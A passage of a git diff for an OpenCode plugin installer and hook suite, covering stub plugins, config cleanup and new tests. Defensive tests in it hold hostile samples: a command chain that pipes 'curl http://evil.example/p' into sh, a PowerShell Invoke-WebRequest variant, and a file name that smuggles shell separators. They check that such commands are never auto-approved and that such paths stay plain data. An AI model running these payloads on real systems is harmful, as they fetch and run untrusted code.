exactly what triggers the duplicate-id failures. It must keep a default export with an id + setup (a plain non-plugin module in a loaded directory would throw the schema error again), and it must remain present on disk for - the install/uninstall plans. + the install/uninstall plans. Module consumers of the published package get + the live plugin through the `ecc-universal/plugins` export, which maps to + `dist/plugins/ecc-hooks.js`. **Diagnosing (do this before editing anything):** @@ -407,11 +414,17 @@ plugin, not ECC — ECC never writes to `~/.config/opencode/`. Fix the model pre 3. Query the live plugin table — this is the ground truth behind the TUI panel. The server port comes from `opencode service status`; credentials - are Basic auth with the `password` field of `~/.config/opencode/service.json`: + are Basic auth with the `password` field of `~/.config/opencode/service.json`. + `/api/plugin` is location-scoped: pass the affected project directory as + `location[directory]`, otherwise you inspect the service's default location + and can miss the failures you are chasing (a location with no live session + may report no entries at all): ```bash curl -s -u "opencode:$(sed -n 's/.*"password": "\(.*\)".*/\1/p' ~/.config/opencode/service.json)" \ - http://127.0.0.1:/api/plugin | jq '[.data[] | select(.state.status != "active")]' + --get "http://127.0.0.1:/api/plugin" \ + --data-urlencode "location[directory]=/path/to/affected/project" \ + | jq '[.data[] | select(.state.status != "active")]' ``` 4. `opencode plugin list` shows each registered entry with its source path. diff --git a/scripts/lib/install/apply.js b/scripts/lib/install/apply.js index 57b144bfe..caad59805 100644 --- a/scripts/lib/install/apply.js +++ b/scripts/lib/install/apply.js @@ -14,6 +14,7 @@ const { parseJsoncConfig, getDisabledOpenCodePluginContent, isInertOpenCodePluginStub, + isOpenCodeHookConfigRegistration, getRecordedHookConsent, getOpenCodeActivationPathKind, getOpenCodeSourceActivationKind, @@ -476,7 +477,7 @@ function openCodeActivationCandidates(plan, previousOperations) { function activationIsInactive(kind, operation, content, strict = false) { if (kind === 'plugin') { // The final gate accepts only the V2-valid stub: the pre-fix one is inert but OpenCode rejects it. - return strict ? content.toString('utf8') === getDisabledOpenCodePluginContent() + return strict ? content.toString('utf8') === getDisabledOpenCodePluginContent(operation.sourceRelativePath) : isInertOpenCodePluginStub(content); } const text = content.toString('utf8'); @@ -490,7 +491,11 @@ function activationIsInactive(kind, operation, content, strict = false) { if (config.plugin !== undefined && !Array.isArray(config.plugin)) { throw new Error(`Invalid ${relativePath}: plugin must be an array`); } - return !Array.isArray(config.plugin) || !config.plugin.includes('./plugins'); + // T07: recognize every historical registration form — the legacy './plugins' + // directory entry and the per-file './plugins/ecc-hooks.ts' entries written + // before OpenCode 2.x directory discovery became the only load path. + return !Array.isArray(config.plugin) + || !config.plugin.some(plugin => isOpenCodeHookConfigRegistration(plugin)); } function assertOpenCodeHookDeactivationReady(plan, options = {}) { diff --git a/scripts/lib/install/content-transform.js b/scripts/lib/install/content-transform.js index a0fff9fc3..6cff3bceb 100644 --- a/scripts/lib/install/content-transform.js +++ b/scripts/lib/install/content-transform.js @@ -62,7 +62,7 @@ function transformInstallContent(operation, content) { disableOpenCodeHookPluginRegistration(content, operation.sourceRelativePath)); } if (operation.contentTransform === 'opencode-disable-plugin-entrypoint') { - return getDisabledOpenCodePluginContent(); + return getDisabledOpenCodePluginContent(operation.sourceRelativePath); } if (operation.contentTransform === 'opencode-home-skills-path') { const config = JSON.parse(content); diff --git a/scripts/lib/install/hook-consent.js b/scripts/lib/install/hook-consent.js index d283e7398..b024ed632 100644 --- a/scripts/lib/install/hook-consent.js +++ b/scripts/lib/install/hook-consent.js @@ -146,6 +146,16 @@ function stripJsonc(input) { return out; } +// Registrations that point the (legacy) OpenCode plugin config at the ECC +// hooks: the old directory form and the per-file forms some setups wrote. +// OpenCode 2.x ignores file-path entries at runtime, but they must still be +// stripped for a clean deactivation and to keep install verification honest. +function isOpenCodeHookConfigRegistration(value) { + const entry = String(value); + if (entry === './plugins') return true; + return /(^|[\\/])plugins[\\/]+ecc-hooks\.(?:ts|[cm]?js)$/.test(entry); +} + function disableOpenCodeHookPluginRegistration(content, sourceRelativePath) { const config = parseJsoncConfig(content, sourceRelativePath); if (config.plugin !== undefined && !Array.isArray(config.plugin)) { @@ -158,7 +168,7 @@ function disableOpenCodeHookPluginRegistration(content, sourceRelativePath) { return `${JSON.stringify({ ...config, - plugin: config.plugin.filter(plugin => plugin !== './plugins'), + plugin: config.plugin.filter(plugin => !isOpenCodeHookConfigRegistration(plugin)), }, null, 2)}\n`; } @@ -180,7 +190,26 @@ function isOpenCodePluginEntrypoint(operation = {}) { return getOpenCodeSourceActivationKind(operation) === 'plugin'; } -function getDisabledOpenCodePluginContent() { +const DISABLED_OPENCODE_PLUGIN_STUB = 'export default { id: "ecc-hooks", setup() {} };\n'; +// OpenCode 2.x scans every top-level plugins/*.ts independently, so an inert +// barrel that kept the `ecc-hooks` id would collide with the real plugin file +// (live or stubbed) sitting beside it and register a red +// "Duplicate plugin ID" entry. The top-level barrel gets its own distinct id. +const DISABLED_OPENCODE_BARREL_STUB = 'export default { id: "ecc-hooks-entry", setup() {} };\n'; + +function isTopLevelPluginsBarrel(sourceRelativePath) { + if (typeof sourceRelativePath !== 'string') return false; + // Same prefix stripping as getOpenCodeSourceActivationKind: plans carry + // '.opencode/…', built payloads 'dist/…'; compare against the bare + // plugins-relative path. + const relative = normalizeOperationPath(sourceRelativePath) + .replace(/^\.opencode\//, '') + .replace(/^dist\//, ''); + return relative === 'plugins/index.ts' || relative === 'plugins/index.js' + || relative === 'plugins/index.mjs' || relative === 'plugins/index.cjs'; +} + +function getDisabledOpenCodePluginContent(sourceRelativePath) { // OpenCode discovers plugins independently of opencode.json registration. // Do not import the original module: even module initialization has effects. // The stub must still satisfy the V2 loader schema: the default export has to @@ -188,7 +217,9 @@ function getDisabledOpenCodePluginContent() { // (`export default async () => ({})`) is rejected at startup with // PluginModule.LoadError / SchemaError(Expected object at ["default"]), which // is the same failure reported for the V1 hook plugin in issue #3537. - return 'export default { id: "ecc-hooks", setup() {} };\n'; + return isTopLevelPluginsBarrel(sourceRelativePath) + ? DISABLED_OPENCODE_BARREL_STUB + : DISABLED_OPENCODE_PLUGIN_STUB; } // Installs made before the V2 stub fix wrote this stub. It is inert either way; @@ -197,7 +228,9 @@ const LEGACY_DISABLED_OPENCODE_PLUGIN_CONTENT = 'export default async () => ({}) function isInertOpenCodePluginStub(content) { const text = content.toString('utf8'); - return text === getDisabledOpenCodePluginContent() || text === LEGACY_DISABLED_OPENCODE_PLUGIN_CONTENT; + return text === DISABLED_OPENCODE_PLUGIN_STUB + || text === DISABLED_OPENCODE_BARREL_STUB + || text === LEGACY_DISABLED_OPENCODE_PLUGIN_CONTENT; } function isOpenCodeHookActivationOperation(operation = {}) { @@ -435,6 +468,7 @@ module.exports = { assertHookConsentReady, disableUnselectedOpenCodeHooks, disableOpenCodeHookPluginRegistration, + isOpenCodeHookConfigRegistration, parseJsoncConfig, getDisabledOpenCodePluginContent, isInertOpenCodePluginStub, diff --git a/tests/lib/install-executor.test.js b/tests/lib/install-executor.test.js index 65652f458..d9af21a30 100644 --- a/tests/lib/install-executor.test.js +++ b/tests/lib/install-executor.test.js @@ -53,7 +53,11 @@ function operationFor(plan, suffix) { )); } -const INERT_OPENCODE_PLUGIN = getDisabledOpenCodePluginContent(); +// OpenCode 2.x scans plugins/ files side by side, and a barrel sharing the +// real id would register a duplicate (red "Duplicate plugin ID"). The top-level +// barrel therefore gets a distinct-id stub; tests assert bytes per entrypoint. +const inertOpenCodeEntrypointContent = (name) => + getDisabledOpenCodePluginContent(`.opencode/plugins/${name}`); const OPENCODE_ENTRYPOINTS = ['ecc-hooks.ts', 'index.ts']; function snapshotFiles(root) { @@ -804,7 +808,9 @@ function runTests() { assert.strictEqual(plan.operations.filter(operation => operation.destinationPath === configPath).length, 1); applyInstallPlan(plan); const installed = JSON.parse(fs.readFileSync(configPath, 'utf8')); - const dormantConfig = { ...config, plugin: config.plugin.filter(plugin => plugin !== './plugins') }; + const dormantConfig = Array.isArray(config.plugin) + ? { ...config, plugin: config.plugin.filter(plugin => plugin !== './plugins') } + : { ...config }; const expected = index === 0 ? { ...dormantConfig, skills: { ...config.skills, paths: ['./skills', '/custom/skills', '../other-skills'] } } : dormantConfig; @@ -1125,13 +1131,13 @@ function runTests() { } applyInstallPlanDirect(defaultPlan); for (const name of OPENCODE_ENTRYPOINTS) { - assert.strictEqual(fs.readFileSync(path.join(homeDir, '.config', 'opencode', 'plugins', name), 'utf8'), INERT_OPENCODE_PLUGIN); + assert.strictEqual(fs.readFileSync(path.join(homeDir, '.config', 'opencode', 'plugins', name), 'utf8'), inertOpenCodeEntrypointContent(name)); } const installedConfig = JSON.parse(fs.readFileSync( path.join(homeDir, '.config', 'opencode', 'opencode.json'), 'utf8' )); - assert.ok(!installedConfig.plugin.includes('./plugins')); + assert.ok(!installedConfig.plugin?.includes('./plugins')); assert.deepStrictEqual(installedConfig.skills.paths, ['./skills']); const enabledWithoutRuntime = createInstallPlanFromRequest( @@ -1190,7 +1196,7 @@ function runTests() { for (const name of OPENCODE_ENTRYPOINTS) { assert.strictEqual( fs.readFileSync(path.join(homeDir, '.config', 'opencode', 'plugins', name), 'utf8'), - name === 'index.ts' ? INERT_OPENCODE_PLUGIN : fs.readFileSync(path.join(REPO_ROOT, '.opencode', 'plugins', name), 'utf8') + name === 'index.ts' ? inertOpenCodeEntrypointContent('index.ts') : fs.readFileSync(path.join(REPO_ROOT, '.opencode', 'plugins', name), 'utf8') ); } assert.strictEqual( @@ -1201,13 +1207,13 @@ function runTests() { const declinedState = JSON.parse(fs.readFileSync(declinedPlan.installStatePath, 'utf8')); assert.strictEqual(declinedState.request.hookConsent, 'declined'); assert.ok(!declinedState.resolution.selectedModules.includes('hooks-runtime')); - assert.ok(!JSON.parse(fs.readFileSync(path.join(declinedPlan.targetRoot, 'opencode.json'), 'utf8')).plugin.includes('./plugins')); + assert.ok(!JSON.parse(fs.readFileSync(path.join(declinedPlan.targetRoot, 'opencode.json'), 'utf8')).plugin?.includes('./plugins')); for (const name of OPENCODE_ENTRYPOINTS) { const destinationPath = path.join(homeDir, '.config', 'opencode', 'plugins', name); - assert.strictEqual(fs.readFileSync(destinationPath, 'utf8'), INERT_OPENCODE_PLUGIN); + assert.strictEqual(fs.readFileSync(destinationPath, 'utf8'), inertOpenCodeEntrypointContent(name)); const operation = declinedState.operations.find(candidate => candidate.destinationPath === destinationPath); assert.strictEqual(operation.contentTransform, 'opencode-disable-plugin-entrypoint'); - assert.strictEqual(operation.contentSha256, crypto.createHash('sha256').update(INERT_OPENCODE_PLUGIN).digest('hex')); + assert.strictEqual(operation.contentSha256, crypto.createHash('sha256').update(inertOpenCodeEntrypointContent(name)).digest('hex')); } } finally { cleanup(homeDir); diff --git a/tests/lib/install-lifecycle.test.js b/tests/lib/install-lifecycle.test.js index d801d65d7..5b8d32214 100644 --- a/tests/lib/install-lifecycle.test.js +++ b/tests/lib/install-lifecycle.test.js @@ -1997,7 +1997,9 @@ function runTests() { )); const expectedContent = `${JSON.stringify({ ...sourceConfig, - plugin: sourceConfig.plugin.filter(plugin => plugin !== './plugins'), + ...(Array.isArray(sourceConfig.plugin) + ? { plugin: sourceConfig.plugin.filter(plugin => plugin !== './plugins') } + : {}), skills: { ...sourceConfig.skills, paths: ['./skills'] }, }, null, 2)}\n`; fs.mkdirSync(targetRoot, { recursive: true }); @@ -2047,9 +2049,11 @@ function runTests() { exemptValidationCodes: ['opencode-plugin-not-built'], }); applyInstallPlan(plan); - const pluginPaths = ['ecc-hooks.ts', 'index.ts'].map(name => path.join(plan.targetRoot, 'plugins', name)); - for (const pluginPath of pluginPaths) { - assert.strictEqual(fs.readFileSync(pluginPath, 'utf8'), getDisabledOpenCodePluginContent()); + const pluginNames = ['ecc-hooks.ts', 'index.ts']; + const pluginPaths = pluginNames.map(name => path.join(plan.targetRoot, 'plugins', name)); + for (const [index, pluginPath] of pluginPaths.entries()) { + assert.strictEqual(fs.readFileSync(pluginPath, 'utf8'), + getDisabledOpenCodePluginContent(`.opencode/plugins/${pluginNames[index]}`)); fs.unlinkSync(pluginPath); } const before = buildDoctorReport({ repoRoot: REPO_ROOT, homeDir, projectRoot: homeDir, targets: ['opencode'] }); @@ -2067,8 +2071,9 @@ function runTests() { }); assert.strictEqual(buildCalls, 1, 'Only the injected inert builder is used'); assert.strictEqual(repaired.results[0].status, 'repaired'); - for (const pluginPath of pluginPaths) { - assert.strictEqual(fs.readFileSync(pluginPath, 'utf8'), getDisabledOpenCodePluginContent()); + for (const [index, pluginPath] of pluginPaths.entries()) { + assert.strictEqual(fs.readFileSync(pluginPath, 'utf8'), + getDisabledOpenCodePluginContent(`.opencode/plugins/${pluginNames[index]}`)); } const state = readInstallState(plan.installStatePath); assert.strictEqual(state.request.hookConsent, 'declined'); @@ -2102,9 +2107,11 @@ function runTests() { }); assert.strictEqual(result.results[0].status, 'repaired'); for (const name of ['ecc-hooks.ts', 'index.ts']) { - assert.strictEqual(fs.readFileSync(path.join(recorded.targetRoot, 'plugins', name), 'utf8'), getDisabledOpenCodePluginContent()); + assert.strictEqual(fs.readFileSync(path.join(recorded.targetRoot, 'plugins', name), 'utf8'), + getDisabledOpenCodePluginContent(`.opencode/plugins/${name}`)); } - assert.ok(!JSON.parse(fs.readFileSync(path.join(recorded.targetRoot, 'opencode.json'), 'utf8')).plugin.includes('./plugins')); + const repairedConfig = JSON.parse(fs.readFileSync(path.join(recorded.targetRoot, 'opencode.json'), 'utf8')); + assert.ok(!(repairedConfig.plugin ?? []).some(plugin => plugin === './plugins' || /ecc-hooks/.test(String(plugin)))); const state = readInstallState(recorded.installStatePath); assert.notStrictEqual(state.request.hookConsent, 'enabled'); assert.ok(!state.resolution.selectedModules.includes('hooks-runtime')); diff --git a/tests/opencode-plugin-hooks.test.js b/tests/opencode-plugin-hooks.test.js index dc3dcee23..9b1d3cd10 100644 --- a/tests/opencode-plugin-hooks.test.js +++ b/tests/opencode-plugin-hooks.test.js @@ -8,6 +8,7 @@ const os = require("node:os") const path = require("node:path") const { spawnSync } = require("node:child_process") const { pathToFileURL } = require("node:url") +const { EventEmitter } = require("node:events") function runTest(name, fn) { return Promise.resolve() @@ -164,9 +165,127 @@ function readRecordedRuns(homeDir) { .map((line) => JSON.parse(line)) } +/** + * Capture child_process.spawn calls made by the plugin. + * + * Must run BEFORE the plugin's ESM module is first imported: ecc-hooks.js + * binds `spawn` from node:child_process at link time, so patching the + * builtin's exports afterwards would leave the plugin with the real one. + * No existing behavior test spawns real commands (file probes go through + * fs, and the strict formatter was never exercised), so the spy is safe to + * leave installed for the whole suite. + */ +const spawnCalls = [] +const unhandledRejections = [] +let spawnBehavior = { code: 0 } + +function installSpawnSpy() { + const cp = require("node:child_process") + cp.spawn = (file, args, options) => { + const child = new EventEmitter() + child.stdout = new EventEmitter() + child.stderr = new EventEmitter() + child.unref = () => {} + child.kill = () => true + spawnCalls.push({ file, args, options, child }) + process.nextTick(() => { + const behavior = spawnBehavior + spawnBehavior = { code: 0 } + if (behavior.emitError) child.emit("error", behavior.emitError) + else child.emit("close", behavior.code ?? 0) + }) + return child + } +} + +function resetSpawns(behavior = { code: 0 }) { + spawnCalls.length = 0 + spawnBehavior = behavior +} + +/** + * Scan a cmd.exe `/c` command line and return every shell metacharacter + * that appears OUTSIDE double quotes (i.e. would be executed by cmd). + */ +function unquotedMetachars(commandLine) { + let inQuotes = false + let found = "" + for (const ch of commandLine) { + if (ch === '"') inQuotes = !inQuotes + else if (!inQuotes && "&|;<>^()".includes(ch)) found += ch + } + return found +} + +/** + * Mock V2 plugin context (OpenCode 2.x `setup(ctx)` domains) for the dual + * surface tests. Extra fields are ignored by the plugin; `failAt` and + * per-registration `rejectsDispose` simulate mid-setup failures so rollback + * and dispose behavior can be observed. + */ +function createMockV2Context(directory, options = {}) { + const state = { registered: [], handlers: {}, regObjects: [], subscribeCalls: 0, transform: null } + const makeReg = (key) => { + const reg = { + key, + disposed: 0, + rejectsDispose: false, + dispose() { + reg.disposed++ + if (reg.rejectsDispose) return Promise.reject(new Error(`mock dispose failed: ${reg.key}`)) + return undefined + }, + } + return reg + } + const hookFor = (domain) => async (kind, fn) => { + const key = `${domain}.${kind}` + if (options.failAt === key) throw new Error(`mock ${key} registration failed`) + const reg = makeReg(key) + state.registered.push(key) + state.handlers[key] = fn + state.regObjects.push(reg) + return reg + } + return { + location: { directory }, + state, + tool: { + hook: hookFor("tool"), + transform: async (fn) => { + const reg = makeReg("tool.transform") + state.transform = fn + state.regObjects.push(reg) + return reg + }, + }, + shell: { hook: hookFor("shell") }, + session: { hook: hookFor("session") }, + permission: { hook: hookFor("permission") }, + event: { + subscribe: ({ signal }) => { + state.subscribeCalls++ + return { + [Symbol.asyncIterator]() { + return { + next: () => + new Promise((resolve, reject) => { + if (signal.aborted) reject(new Error("aborted")) + else signal.addEventListener("abort", () => reject(new Error("aborted")), { once: true }) + }), + } + }, + } + }, + }, + } +} + async function main() { console.log("\n=== Testing OpenCode plugin hooks ===\n") + process.on("unhandledRejection", (reason) => unhandledRejections.push(reason)) + installSpawnSpy() const { ECCHooksPlugin } = await loadPlugin() const tests = [ [ @@ -413,7 +532,7 @@ async function main() { ), ], [ - "permission.ask handles formatters correctly", + "permission.ask never auto-approves shell commands (T02)", async () => withTempProject( [], async (projectDir) => { @@ -421,48 +540,46 @@ async function main() { const $ = createFailingShell() const hooks = await ECCHooksPlugin({ client, $, directory: projectDir }) - // Test formatter tools - note: args should be the command string, not object - const prettierResult = await hooks["permission.ask"]({ - tool: "bash", - args: "npx prettier --write src/index.ts" + // Formatter and test commands must fall through to the user's + // permission system: a prefix regex over a free-form shell string + // is not a safe allow-list. + const prettierResult = await hooks["permission.ask"]({ + tool: "bash", + args: "npx prettier --write src/index.ts" }) - console.log("prettierResult:", JSON.stringify(prettierResult)) - assert.strictEqual(prettierResult.approved, true) - assert.strictEqual(prettierResult.reason, "Formatter execution") + assert.strictEqual(prettierResult.approved, undefined) - const biomeResult = await hooks["permission.ask"]({ - tool: "bash", - args: "npx @biomejs/biome format --write src/index.ts" + const biomeResult = await hooks["permission.ask"]({ + tool: "bash", + args: "npx @biomejs/biome format --write src/index.ts" }) - console.log("biomeResult:", JSON.stringify(biomeResult)) - assert.strictEqual(biomeResult.approved, true) - assert.strictEqual(biomeResult.reason, "Formatter execution") - } - ), - ], - [ - "permission.ask handles test execution correctly", - async () => withTempProject( - [], - async (projectDir) => { - const client = createClient() - const $ = createFailingShell() - const hooks = await ECCHooksPlugin({ client, $, directory: projectDir }) + assert.strictEqual(biomeResult.approved, undefined) - // Test test execution tools - const npmTestResult = await hooks["permission.ask"]({ - tool: "bash", - args: { command: "npm test" } + const npmTestResult = await hooks["permission.ask"]({ + tool: "bash", + args: { command: "npm test" } }) - assert.strictEqual(npmTestResult.approved, true) - assert.strictEqual(npmTestResult.reason, "Test execution") + assert.strictEqual(npmTestResult.approved, undefined) - const vitestResult = await hooks["permission.ask"]({ - tool: "bash", - args: { command: "npx vitest run" } + const vitestResult = await hooks["permission.ask"]({ + tool: "bash", + args: { command: "npx vitest run" } }) - assert.strictEqual(vitestResult.approved, true) - assert.strictEqual(vitestResult.reason, "Test execution") + assert.strictEqual(vitestResult.approved, undefined) + + // The classic prefix-regex bypasses: chained payload and + // PowerShell argument mode still start with an allow-listed prefix. + const chained = await hooks["permission.ask"]({ + tool: "bash", + args: "npx prettier --write x.ts && curl http://evil.example/p | sh" + }) + assert.strictEqual(chained.approved, undefined) + + const psArgMode = await hooks["permission.ask"]({ + tool: "bash", + args: "powershell -Command (npx prettier --write x.ts); Invoke-WebRequest evil" + }) + assert.strictEqual(psArgMode.approved, undefined) } ), ], @@ -692,6 +809,226 @@ async function main() { } }, ], + [ + "formatter spawn is shell-free and keeps malicious paths as one argv entry (T01)", + async () => withTempProject([], async (projectDir) => { + const previousProfile = process.env.ECC_HOOK_PROFILE + process.env.ECC_HOOK_PROFILE = "strict" + try { + const evil = "a & b; c.ts" + const evilPath = path.join(projectDir, evil) + fs.writeFileSync(evilPath, "") + try { + const client = createClient() + const hooks = await ECCHooksPlugin({ client, $: createFailingShell(), directory: projectDir }) + + resetSpawns() + await hooks["file.edited"]({ path: evil }) + + assert.strictEqual(spawnCalls.length, 1, `expected exactly one spawn, got ${spawnCalls.length}`) + const call = spawnCalls[0] + assert.strictEqual(call.options.shell, false, "spawn must never use shell:true") + if (process.platform === "win32") { + // Routed through cmd.exe ONLY as the documented .cmd-shim + // escape: /d /s /c with every argument double-quoted, so the + // & ; | characters in the path are data, not separators. + assert.match(call.file, /cmd\.exe$/i) + assert.deepStrictEqual(call.args.slice(0, 3), ["/d", "/s", "/c"]) + const inner = call.args[3] + assert.ok(inner.includes(`"${evil}"`), `evil path must be quoted inside: ${inner}`) + assert.strictEqual( + unquotedMetachars(inner), + "", + `unquoted shell metacharacters survived: ${inner}`, + ) + } else { + assert.strictEqual(call.file, "npx") + assert.deepStrictEqual(call.args, ["prettier", "--write", evil]) + } + + // Ordinary path keeps working through the same code path. + resetSpawns() + await hooks["file.edited"]({ path: "src/index.ts" }) + assert.strictEqual(spawnCalls.length, 1) + assert.strictEqual(spawnCalls[0].options.shell, false) + } finally { + fs.rmSync(evilPath, { force: true }) + } + } finally { + restoreEnv({ ECC_HOOK_PROFILE: previousProfile }) + } + }), + ], + [ + "prettier exit failure is reported as failure, never as Formatted (T11)", + async () => withTempProject([], async (projectDir) => { + const previousProfile = process.env.ECC_HOOK_PROFILE + process.env.ECC_HOOK_PROFILE = "strict" + try { + const target = path.join(projectDir, "src", "index.ts") + fs.mkdirSync(path.dirname(target), { recursive: true }) + fs.writeFileSync(target, "") + const client = createClient() + const hooks = await ECCHooksPlugin({ client, $: createFailingShell(), directory: projectDir }) + + resetSpawns({ code: 2 }) + spawnBehavior = { code: 2 } + const fake = null // behavior consumed by the spy on nextTick + void fake + await hooks["file.edited"]({ path: target }) + + const formatted = client.logs.filter((entry) => String(entry.message).includes("[ECC] Formatted:")) + assert.strictEqual(formatted.length, 0, "must not log Formatted on a failing prettier run") + const failure = client.logs.filter( + (entry) => entry.level === "warn" && String(entry.message).includes("Prettier failed"), + ) + assert.strictEqual(failure.length, 1, "must log a warn-level prettier failure once") + + // Success path still reports Formatted. + resetSpawns({ code: 0 }) + await hooks["file.edited"]({ path: target }) + const ok = client.logs.filter((entry) => String(entry.message).includes("[ECC] Formatted:")) + assert.strictEqual(ok.length, 1, "exit code 0 must log Formatted") + } finally { + resetSpawns() + restoreEnv({ ECC_HOOK_PROFILE: previousProfile }) + } + }), + ], + [ + "detached notification registers its error listener before returning (T03) and hides windows (T14)", + async () => withTempProject([], async (projectDir) => { + const client = createClient() + const hooks = await ECCHooksPlugin({ client, $: createFailingShell(), directory: projectDir }) + + // Track one edited file so session.idle proceeds to the audit + notify. + const noted = path.join(projectDir, "src", "a.ts") + fs.mkdirSync(path.dirname(noted), { recursive: true }) + fs.writeFileSync(noted, "") + await hooks["file.edited"]({ path: noted }) + + resetSpawns({ emitError: new Error("spawn powershell ENOENT") }) + await hooks["session.idle"]() + // Let the queued 'error' emission fire. + await new Promise((resolve) => setTimeout(resolve, 50)) + + assert.ok( + spawnCalls.length >= 1, + `expected a detached notification spawn, got ${spawnCalls.length}`, + ) + for (const call of spawnCalls) { + assert.strictEqual(call.options.detached, true) + assert.strictEqual(call.options.shell, false) + assert.strictEqual(call.options.windowsHide, true, "child windows must not flash a console (T14)") + // The 'error' listener must already be attached: the emitted ENOENT + // error above was delivered, not thrown at the process level. + assert.ok( + call.child.listenerCount("error") >= 1, + "spawn error listener must be registered before run() returns", + ) + } + // If we got here, the host survived the notification failure. + assert.ok(client.logs.length >= 0) + resetSpawns() + }), + ], + [ + "V2 setup(ctx) registers domain hooks, executes them, and disposes cleanly (T05)", + async () => withTempProject([], async (projectDir) => { + const mod = await loadPlugin() + const definition = mod.default + assert.strictEqual(definition.id, "ecc-hooks") + assert.strictEqual(typeof definition.setup, "function") + + const ctx = createMockV2Context(projectDir) + const dispose = await definition.setup(ctx) + + // tool×2 + shell + session + permission (transform and subscribe tracked separately) + assert.deepStrictEqual( + ctx.state.registered.sort(), + ["permission.evaluate", "session.compaction", "shell.create.before", + "tool.execute.after", "tool.execute.before"].sort(), + ) + assert.strictEqual(ctx.state.subscribeCalls, 1) + + // Executing the registered permission callback: read-only allows, + // bash never auto-allows (T02 end-to-end through the V2 surface). + const readEvent = { action: "read", resources: ["src/index.ts"] } + await ctx.state.handlers["permission.evaluate"](readEvent) + assert.strictEqual(readEvent.effect, "allow") + + const bashEvent = { action: "bash", resources: ["npx prettier --write x.ts"] } + await ctx.state.handlers["permission.evaluate"](bashEvent) + assert.strictEqual(bashEvent.effect, undefined) + + // Tool hooks run without throwing. + await ctx.state.handlers["tool.execute.before"]({ tool: "write", callID: "c1", input: { filePath: "a.ts" } }) + await ctx.state.handlers["tool.execute.after"]({ tool: "write", callID: "c1", input: { filePath: "a.ts" }, output: {} }) + + // Session compaction appends ECC context through the V2 event object. + const compactionEvent = { system: [] } + await ctx.state.handlers["session.compaction"](compactionEvent) + assert.ok(compactionEvent.system.some((part) => String(part.text).includes("# ECC"))) + + // shell.create.before mutates event.env like the V1 shell.env hook. + const shellEvent = { env: {} } + await ctx.state.handlers["shell.create.before"](shellEvent) + assert.strictEqual(typeof shellEvent.env, "object") + + // Custom tools arrive through the transform editor. + const added = [] + await ctx.state.transform({ add: (t) => added.push(t.name) }) + assert.ok(added.includes("changed-files")) + assert.ok(added.includes("dependency-analyzer")) + + // A second setup for the SAME directory must not double-register. + const ctx2 = createMockV2Context(projectDir) + const dispose2 = await definition.setup(ctx2) + assert.strictEqual(ctx2.state.registered.length, 0, "directory guard must block re-registration") + assert.strictEqual(ctx2.state.subscribeCalls, 0) + + // Dispose everything; one registration rejects its dispose (T13) and + // must not leave an unhandled rejection or stop the others. + ctx.state.regObjects[0].rejectsDispose = true + await dispose() + await new Promise((resolve) => setTimeout(resolve, 20)) + assert.strictEqual(unhandledRejections.length, 0, "dispose must not leave unhandled rejections") + assert.ok( + ctx.state.regObjects.every((r) => r.disposed >= 1), + "every registration must be disposed", + ) + await dispose2() + + // After dispose, the guard is released: re-setup registers again. + const ctx3 = createMockV2Context(projectDir) + const dispose3 = await definition.setup(ctx3) + assert.strictEqual(ctx3.state.registered.length, 5) + await dispose3() + }), + ], + [ + "setup() rolls back registrations when a later domain fails (T10)", + async () => withTempProject([], async (projectDir) => { + const mod = await loadPlugin() + const definition = mod.default + + const ctx = createMockV2Context(projectDir, { failAt: "permission.evaluate" }) + await assert.rejects(() => definition.setup(ctx)) + + // Registrations already made before the failure must be disposed. + assert.ok(ctx.state.regObjects.length >= 3, "earlier domains registered before the failure") + assert.ok( + ctx.state.regObjects.every((r) => r.disposed >= 1), + "failed setup must dispose every registration it already made", + ) + + // The directory guard must be released so a retry can succeed. + const retry = createMockV2Context(projectDir) + const dispose = await definition.setup(retry) + assert.strictEqual(retry.state.registered.length, 5, "retry after rollback must register the full hook set") + await dispose() + }), + ], ] let passed = 0 diff --git a/tests/scripts/build-opencode.test.js b/tests/scripts/build-opencode.test.js index 53307b6a5..04877bf96 100644 --- a/tests/scripts/build-opencode.test.js +++ b/tests/scripts/build-opencode.test.js @@ -35,18 +35,21 @@ function checkRuntime(runtimeRoot, extension, loader, installedHome = false) { const plugins = await load("plugins/index") const entry = await load("index") assert.deepEqual(Object.keys(entry), ["default"]) - assert.equal(entry.default, plugins.default) + // The entry barrel exposes the real V2 definition; the plugins barrel is + // an inert distinct-id stub on purpose (OpenCode 2.x loads root plugin + // files AND the directory barrel, so re-exporting the real id from both + // would produce red "Duplicate plugin ID" registrations). + assert.notEqual(entry.default, plugins.default, + "entry and plugins barrels must not share one plugin id (duplicate registrations)") + assert.equal(entry.default.id, "ecc-hooks") + assert.equal(typeof entry.default.setup, "function") + assert.equal(plugins.default.id, "ecc-hooks-entry") + assert.equal(typeof plugins.default.setup, "function") const logs = [] - // Home installs are auto-discovered. Their barrel must stay inert so - // the hooks module is initialized exactly once; published package entry - // imports continue to expose the actual plugin. - const active = installedHome === "true" ? await load("plugins/ecc-hooks") : entry - // The inert stub is a V2 definition object (id + setup), not a factory. - if (installedHome === "true") { - assert.equal(entry.default.id, "ecc-hooks") - assert.equal(typeof entry.default.setup, "function") - } - const plugin = await active.default({ + const active = await load("plugins/ecc-hooks") + assert.equal(active.default, entry.default) + assert.equal(typeof active.ECCHooksPlugin, "function") + const plugin = await active.ECCHooksPlugin({ client: { app: { log: (event) => logs.push(event.body) } }, $: () => { throw new Error("Unexpected shell execution") }, directory: process.cwd(), @@ -175,8 +178,13 @@ function main() { throw new Error("unexpected entry resolution: " + resolved) } const mod = await import("ecc-universal") - if (Object.keys(mod).join(",") !== "default" || typeof mod.default !== "function") { - throw new Error("root module must export exactly the plugin function") + const definition = mod.default + if (Object.keys(mod).join(",") !== "default") { + throw new Error("root module must export exactly the plugin definition") + } + if (!definition || typeof definition !== "object" || definition.id !== "ecc-hooks" || + typeof definition.setup !== "function") { + throw new Error("root module must export the V2 plugin definition ({ id, setup })") } ` const probePath = path.join(tempDir, "probe.mjs") @@ -217,9 +225,10 @@ function main() { } assert.deepStrictEqual(unresolved, []) }], - ["built OpenCode entry exports only the plugin function", () => { + ["built OpenCode entry exports the V2 definition and the factory hook map", () => { const check = ` const assert = require("assert") + const path = require("path") const { pathToFileURL } = require("url") async function main() { @@ -231,10 +240,21 @@ function main() { process.exit(1) } assert.deepStrictEqual(Object.keys(mod).sort(), ["default"]) - assert.strictEqual(typeof mod.default, "function") + // OpenCode 2.x requires the default export to be the plugin + // definition object; the V1 factory stays as a named export of the + // hooks module for legacy discovery and the behavioral test suite. + assert.ok(mod.default && typeof mod.default === "object", "entry default must be the plugin definition") + assert.strictEqual(mod.default.id, "ecc-hooks") + assert.strictEqual(typeof 